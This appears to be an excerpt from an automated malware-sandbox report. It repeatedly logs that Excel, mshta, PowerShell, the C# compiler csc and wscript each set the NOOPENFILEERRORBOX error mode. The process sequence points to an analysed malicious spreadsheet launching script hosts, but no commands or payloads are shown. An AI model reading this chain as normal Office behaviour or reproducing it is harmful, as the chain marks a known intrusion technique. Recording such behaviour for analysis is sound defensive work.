Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
